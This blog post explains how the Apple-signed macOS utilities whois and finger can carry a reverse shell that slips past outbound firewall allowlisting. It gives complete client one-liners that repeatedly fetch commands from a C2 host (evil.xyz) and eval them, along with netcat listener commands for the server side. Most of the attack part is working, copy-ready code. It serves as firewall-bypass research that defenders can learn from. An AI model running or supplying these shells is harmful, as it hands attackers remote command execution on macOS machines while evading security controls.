In the presentation Fire & Ice: Making and Breaking macOS Firewalls,
Patrick Wardle mentioned the idea of using binaries signed by Apple
to by-pass firewall checks for outbound traffic. As an example, he mentioned
whois. I thought it would be interesting to throw together a one-liner reverse
shell that uses
whois to do the socket handling. In addition to
other system utilities can be used.
The Whois protocol
The whois protocol is very simple TCP-based query/response protocol. Everything is sent as plain-text and by default, port 43 is used. An example request is shown below:
client server at whois.nic.mil open TCP ---- (SYN) ------------------------------> <---- (SYN+ACK) -------------------------- send query ---- "Smith<CR><LF>" --------------------> get answer <---- "Info about Smith<CR><LF>" --------- <---- "More info about Smith<CR><LF>" ---- close <---- (FIN) ------------------------------ ----- (FIN) ---------------------------->
The client sends a query to the server. The query ends with a
\r\n. The server
sends the response back to the client. The response can contain multiple lines
that are indicated with the line ending characters
\r\n. The server signals to
the client of the end of the response by closing the socket.
macOS’s Whois binary
The whois binary on macOS is signed by Apple, so it might be possible to use the binary to by-pass whitelisting restrictions.
$ codesign -dvvvv /usr/bin/whois Executable=/usr/bin/whois Identifier=com.apple.whois Format=Mach-O thin (x86_64) CodeDirectory v=20100 size=256 flags=0x0(none) hashes=4+2 location=embedded Platform identifier=4 VersionPlatform=1 VersionMin=658688 VersionSDK=658688 Hash type=sha256 size=32 CandidateCDHash sha256=2e6eb62ebb7a0491befa818c211f30d76967e44e Hash choices=sha256 Page size=4096 CDHash=2e6eb62ebb7a0491befa818c211f30d76967e44e Signature size=4485 Authority=Software Signing Authority=Apple Code Signing Certification Authority Authority=Apple Root CA Info.plist=not bound TeamIdentifier=not set Sealed Resources=none Internal requirements count=1 size=64
Reverse shell using whois
Due to restrictions with the protocol, we can’t open a bidirectional stream.
Instead, we need to capture the data in a variable so we have access to it
when we invoke
whois. The idea is as follow:
- Send a request to the server.
- Evaluate the command received by the server.
- Capture the input so we can send it to the server via another whois request.
We also have to ensure some data is always sent to the server when
invoked. Otherwise, an error is returned.
Putting it all together you get the following line to connect to a C2 server
export X=Connected; while true; do X=`eval $(whois -h evil.xyz -- "Output: $X")`; sleep 1; done
On the server-side we can just use netcat as a POC implementation:
while true; do nc -l 43; done
Netcat runs in a while loop because we need to close the socket to signal
the end of each command. Once a client has connected, type a command followed
Ctrl+d to close
STDIN is closed,
netcat closes the socket and exits.
Use finger instead of whois
A default install of macOS also includes
finger what can be used to send
and receive data from a server.
The finger protocol
For our purpose, the finger protocol is very similar to the whois protocol. It’s query based over TCP. It uses port 79 by default.
Reverse shell using finger
We can use the similar structure as the client line for whois. The finger
implementation for macOS prints some status messages to
STDOUT so some
grep/sed is needed to filter out the command sent from the server.
Client line for connecting to a C2 located at
export X=Connected; while true; do X=`eval $(finger "$X"@evil.xyz 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
The server is similar to the
while true; do nc -l 79; done
When sending a command to the client, we need to indicate where it starts
and where it ends. The client line above expecting the command line to
!. The end of the command is signaled by closing the socket
Ctrl+d. For example to list the temp directory, type
followed by an enter press and